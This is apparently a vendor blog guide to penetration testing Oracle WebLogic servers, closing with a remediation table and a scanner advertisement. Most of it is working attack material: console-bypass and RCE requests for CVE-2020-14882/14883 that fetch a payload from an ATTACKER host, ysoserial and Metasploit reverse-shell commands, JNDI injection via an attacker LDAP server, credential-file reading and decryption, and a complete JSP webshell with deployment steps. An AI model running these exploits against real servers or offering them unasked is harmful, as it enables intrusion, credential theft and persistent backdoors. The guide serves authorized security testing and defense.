Oracle WebLogic Server is one of the most targeted Java EE application servers in enterprise environments. CVE-2020-14882 allows unauthenticated access to the admin console via a URL obfuscation bypass. The T3 and IIOP protocols expose Java deserialization attack surfaces that have produced dozens of critical CVEs since 2015. This guide covers authorized penetration testing techniques for WebLogic deployments — from initial reconnaissance through RCE and credential extraction.
WebLogic Server typically exposes several ports by default. Identifying these during a pentest gives you the full attack surface before touching a single exploit:
| Port | Protocol | Purpose |
|---|---|---|
| 7001 | HTTP | Admin console and application deployment (plain) |
| 7002 | HTTPS | Admin console and application deployment (TLS) |
| 7003 | HTTP | Managed server (plain) |
| 7004 | HTTPS | Managed server (TLS) |
| 9002 | HTTPS | Node Manager |
| 5556 | T3 | Node Manager T3 protocol |
| 8001 | HTTP | Common alternative admin port |
# Banner grab and version identification
curl -si http://TARGET:7001/console/ | grep -i "weblogic\|version"
curl -si http://TARGET:7001/wls-wsat/CoordinatorPortType | head -20
# Nmap service detection
nmap -sV -p 7001,7002,7003,7004,9002,5556 TARGET
# Check for WSDL exposure (often reveals version and config)
curl http://TARGET:7001/wls-wsat/CoordinatorPortType?wsdl
curl http://TARGET:7001/wls-wsat/RegistrationPortTypeRPC?wsdl
The WebLogic admin console is typically at /console/. If the server banner is suppressed, check the HTTP response headers for X-Powered-By or server-specific cookies like ADMINCONSOLESESSION.
WebLogic version determines which CVEs apply. The /console/dashboard endpoint often leaks the version string even to unauthenticated users in older releases. You can also extract version from the T3 handshake response header bytes.
# Version via console login page source
curl -s http://TARGET:7001/console/ | grep -oP 'WebLogic Server [0-9]+\.[0-9]+\.[0-9]+'
# Check WLST port for version info
curl -sk https://TARGET:9002/ | head -30
# Nuclei templates for WebLogic version detection
nuclei -target http://TARGET:7001 -tags weblogic
CVE-2020-14882 (CVSS 9.8) allows an unauthenticated attacker to access the WebLogic Server admin console by exploiting a path traversal in the URL normalization logic. Affected versions include WebLogic 10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4, and 14.1.1.0.
The bypass works by inserting URL-encoded path traversal sequences that confuse the security constraint evaluation while still routing to the admin console:
# Standard admin console requires credentials
curl -I http://TARGET:7001/console/
# HTTP 302 redirect to login
# CVE-2020-14882: bypass via URL path manipulation
curl -v "http://TARGET:7001/console/css/%252E%252E%252Fconsole.portal"
# Alternative bypass paths
curl -v "http://TARGET:7001/console/css/%252E%252E/console.portal"
curl -v "http://TARGET:7001/console/%25252e%25252e/console.portal"
# Confirm bypass: 200 OK response means admin console accessible
# Look for WebLogic admin dashboard HTML in response
Once authenticated to the admin console (or bypassed via CVE-2020-14882), CVE-2020-14883 allows command execution through the com.tangosol.coherence.mvel2.sh.ShellSession handler:
# Chain both CVEs for unauthenticated RCE
# First, use the bypass to reach the admin endpoint
# Then, POST to the command execution handler
curl -X POST "http://TARGET:7001/console/css/%252E%252E%252Fconsole.portal" \
--data '_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession'
# Command execution via com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
# Prepare malicious XML file on attacker's server
cat > /tmp/exploit.xml << 'EOF'
bash
-c
id > /tmp/weblogic_pwned.txt
EOF
# Serve the XML file: python3 -m http.server 8080
# Trigger SSRF to fetch and execute malicious Spring XML
curl -X POST "http://TARGET:7001/console/css/%252E%252E%252Fconsole.portal" \
--data '_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext¶m=http://ATTACKER:8080/exploit.xml'
The T3 protocol is WebLogic's proprietary RMI transport. Java deserialization over T3 has been a persistent vulnerability class since CVE-2015-4852, producing subsequent CVEs including CVE-2016-0638, CVE-2016-3510, CVE-2017-3248, CVE-2018-2628, and CVE-2019-2725. The attack sends a crafted serialized Java object that triggers gadget chain execution on the server.
# Test if T3 port is open (typically 7001 serves both HTTP and T3)
# T3 handshake: send "t3 12.2.3\nAS:2048\nHL:19\n\n" and read response
python3 << 'EOF'
import socket, time
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('TARGET', 7001))
sock.settimeout(5)
# T3 handshake
sock.send(b't3 12.2.3\nAS:2048\nHL:19\n\n')
time.sleep(1)
try:
banner = sock.recv(1024)
print(f"T3 banner: {banner[:100]}")
if b'HELO' in banner:
print("[+] T3 protocol active, deserialization attack surface present")
except:
print("[-] No T3 response")
sock.close()
EOF
# Download ysoserial
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
# Generate payload (CommonsBeanutils1 is reliable for WebLogic)
java -jar ysoserial-all.jar CommonsBeanutils1 "id > /tmp/wl_pwn.txt" > /tmp/payload.ser
# For CVE-2018-2628: send via T3 with proper header
# WebLogic sends its own class descriptor; prepend the magic bytes
python3 << 'EOF'
import socket, struct
with open('/tmp/payload.ser', 'rb') as f:
payload = f.read()
# T3 header for deserialization (WebLogic-specific magic)
header = bytes([
0x00, 0x00, 0x00, 0x00, # Length placeholder
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
])
# Use weblogic_cmd.py or similar tool for proper T3 framing
# pip install weblogicscan
EOF
# Better: use weblogic_cmd.py or exploit frameworks
# Example with metasploit
msfconsole -q -x "use exploit/multi/misc/weblogic_deserialize_marshalledobj; set RHOST TARGET; set RPORT 7001; set PAYLOAD java/meterpreter/reverse_tcp; set LHOST ATTACKER; run"
The IIOP (Internet Inter-ORB Protocol) port in WebLogic enables CORBA-based communication. Like T3, it supports Java object serialization and has been exploited via multiple CVEs. CVE-2020-2555 and CVE-2020-2883 target IIOP deserialization using Coherence gadget chains.
# IIOP is typically on port 7001 alongside HTTP
# Detect IIOP service
nmap -sV --script rmi-dumpregistry -p 7001 TARGET
# CVE-2020-2883 via IIOP using Coherence gadget chain
# Tools: exploit-poc scripts, weblogic-coherence-iiop
git clone https://github.com/Y4er/CVE-2020-2883
cd CVE-2020-2883
# Follow README: compile and send IIOP exploit
# For IIOP-based attacks, identify if the port supports IIOP header
python3 << 'EOF'
import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('TARGET', 7001))
sock.settimeout(3)
# Send GIOP/IIOP request header
sock.send(b'GIOP\x01\x02\x00\x00')
try:
resp = sock.recv(128)
print(f"Response: {resp[:50]}")
if b'GIOP' in resp:
print("[+] IIOP/GIOP protocol detected")
except:
print("[-] Timeout")
sock.close()
EOF
WebLogic's admin console exposes JNDI tree browsing and data source configuration. Authenticated access allows JNDI injection through various configuration fields that are later evaluated server-side. When combined with the CVE-2020-14882 bypass, this becomes pre-auth RCE.
# Authenticated JNDI lookup abuse via WebLogic console
# Post-auth: navigate to Services > Data Sources > New
# Set JNDI name to malicious LDAP URL and trigger test connection
# JNDI URL targeting attacker's LDAP server
JNDI_URL="ldap://ATTACKER:1389/Exploit"
# Start malicious LDAP server (JNDIExploit or marshalsec)
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i ATTACKER -p 8888 -l 1389
# WebLogic console API: trigger JNDI via data source test (authenticated)
curl -u weblogic:PASSWORD -X POST http://TARGET:7001/management/weblogic/latest/domainRuntime/serverLifeCycleRuntimes/AdminServer/testJNDIBinding \
-H "Content-Type: application/json" \
-d '{"jndiName": "ldap://ATTACKER:1389/Exploit"}'
WebLogic stores its domain configuration in config/config.xml. This file contains encrypted credentials for data sources, JMS, and the Node Manager. The encryption uses a domain-specific encryption key stored in security/SerializedSystemIni.dat. With file system access, credentials can be decrypted offline.
# Locate WebLogic domain config
# Default paths:
# /opt/oracle/middleware/user_projects/domains/base_domain/config/config.xml
# /u01/app/oracle/middleware/user_projects/domains/*/config/config.xml
find / -name "config.xml" -path "*/domains/*" 2>/dev/null
# Encrypted password in config.xml looks like:
# {AES256}xxxxxxxxxxx== or {AES}xxxxxxxxxxx==
# Decrypt WebLogic passwords (requires SerializedSystemIni.dat)
# Download: https://github.com/NetSPI/WebLogic-Password-Decryptor
# Get encryption key file
cat /opt/oracle/middleware/user_projects/domains/base_domain/security/SerializedSystemIni.dat | xxd | head
# Use weblogic-decrypt.py with both files
python3 weblogic_decrypt.py \
--encrypted "{AES256}AAAAAAAAAAAAA=" \
--serial /path/to/SerializedSystemIni.dat
# Via Groovy script in WebLogic scripting console (authenticated)
# Navigate to: Monitoring > General > Scripting
import weblogic.security.internal.SerializedSystemIni
import weblogic.security.internal.encryption.ClearOrEncryptedService
encSvc = new ClearOrEncryptedService(SerializedSystemIni.getEncryptionService("/path/to/domain"))
println encSvc.decrypt("{AES256}TARGET_CIPHERTEXT=")
# Node Manager stores credentials in nm_password.properties
find / -name "nm_password.properties" 2>/dev/null
# /opt/oracle/middleware/user_projects/domains/base_domain/config/nodemanager/nm_password.properties
# Also check:
cat /opt/oracle/middleware/user_projects/domains/base_domain/servers/AdminServer/security/boot.properties
# username={AES}...
# password={AES}...
WebLogic Scripting Tool (WLST) is a Python-based command-line interface for managing WebLogic domains. Authenticated attackers with the WLST CLI or console scripting access can execute arbitrary commands on the server JVM and pivot to deploy backdoored applications.
# WLST interactive session (requires credentials and WLST on PATH)
# $ORACLE_HOME/oracle_common/common/bin/wlst.sh
wlst.sh << 'EOF'
connect('weblogic', 'PASSWORD', 't3://TARGET:7001')
serverRuntime()
domainRuntime()
# List deployed applications
ls()
# Deploy a WAR backdoor
deploy('shell', '/tmp/shell.war', upload='true', stageMode='Stage')
startApplication('shell')
# Execute OS command via MBean
cd('ServerRuntimes/AdminServer')
invoke('executeCommandLine', ['id'], ['java.lang.String'])
disconnect()
exit()
EOF
# WLST remote connect via T3 (from attacker machine with WLST client)
# Only valid with credentials — shows post-compromise power of WLST
# Create a JSP webshell WAR
mkdir -p /tmp/shell_war/WEB-INF
cat > /tmp/shell_war/WEB-INF/web.xml << 'EOF'
shell
shell
org.apache.jsp.shell_jsp
shell
/cmd
EOF
cat > /tmp/shell_war/shell.jsp << 'EOF'
<%@ page import="java.io.*,java.util.*" %>
<%
String cmd = request.getParameter("c");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh","-c",cmd});
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = br.readLine()) != null) out.println(line);
}
%>
EOF
cd /tmp/shell_war && jar -cvf /tmp/shell.war .
# Deploy via admin console REST API (authenticated)
curl -u weblogic:PASSWORD -X POST \
"http://TARGET:7001/management/weblogic/latest/domainRuntime/deploymentManager/deployments" \
-F "model={\"name\":\"shell\",\"targets\":[\"AdminServer\"]};type=application/json" \
-F "sourcePath=@/tmp/shell.war;type=application/octet-stream"
WebLogic's UDDI, WSDL import, and web service proxy features can be abused for SSRF. The admin console import functionality accepts remote URLs and fetches them server-side, making it a pivot point for internal network scanning.
# SSRF via WebLogic web service (WSDL import)
# Authenticated: admin console > Services > Web Services > Deploy WSDL
# WSDL URL: http://169.254.169.254/latest/meta-data/ (AWS metadata)
# SSRF via WLS Central coherence management (unauthenticated on older versions)
curl "http://TARGET:7001/wls-wsat/CoordinatorPortType11" \
-H "Content-Type: text/xml" \
-d '
'
# SSRF via XML deserialization in WLS WorkArea (CVE-2019-2725)
# The above wls-wsat endpoint accepts WorkContext XML which can trigger URL fetches
| Finding | Severity | Fix |
|---|---|---|
| CVE-2020-14882 console bypass | Critical | Apply October 2020 CPU; restrict console access to management network only |
| T3 deserialization exposed | Critical | Disable T3 on external interfaces; filter t3:// in firewall; apply latest CPU |
| IIOP deserialization exposed | Critical | Disable IIOP if unused; connection-filter to restrict IIOP source IPs |
| Default credentials (weblogic/weblogic1) | Critical | Change default admin password immediately; enforce complexity requirements |
| WSDL import SSRF | High | Disable UDDI and web service import; network egress controls on WebLogic servers |
| config.xml credential storage | High | Restrict file system access; use Oracle Wallet for external credential storage |
| Admin console internet-exposed | High | Restrict port 7001/7002 to management VPN/bastion; never expose admin console publicly |
| wls-wsat XMLDecoder endpoint | Critical | Disable wls-wsat component if unused; apply CPU patch for CVE-2019-2725 |
# WebLogic connection filter to block external T3/IIOP
# Admin console: Security > Filter > Connection Filter Rules
# Example filter rules (add to connection filter)
# Allow management IP only for T3
allow t3 192.168.1.0/24 7001
deny t3 * * 7001
# Allow internal IIOP only
allow iiop 10.0.0.0/8 * 7001
deny iiop * * 7001
# Disable T3 programmatically via WLST
connect('weblogic', 'PASSWORD', 't3://TARGET:7001')
edit()
startEdit()
cd('/Servers/AdminServer/Protocols/T3')
set('Enabled', 'false')
activate()
disconnect()
Oracle publishes Critical Patch Updates (CPUs) quarterly in January, April, July, and October. WebLogic has received CPU patches for deserializaton, console bypass, and SSRF vulnerabilities in nearly every quarterly release since 2015. Staying current on CPUs is the single highest-impact remediation for WebLogic environments — the vulnerability backlog accumulates fast for teams that skip even one cycle.
Ironimo's Kali Linux-powered scanner detects WebLogic version fingerprints, tests for known CVEs (CVE-2020-14882, CVE-2019-2725, T3 deserialization), checks admin console exposure, and flags default credentials — all in a single authenticated scan.
Start free scan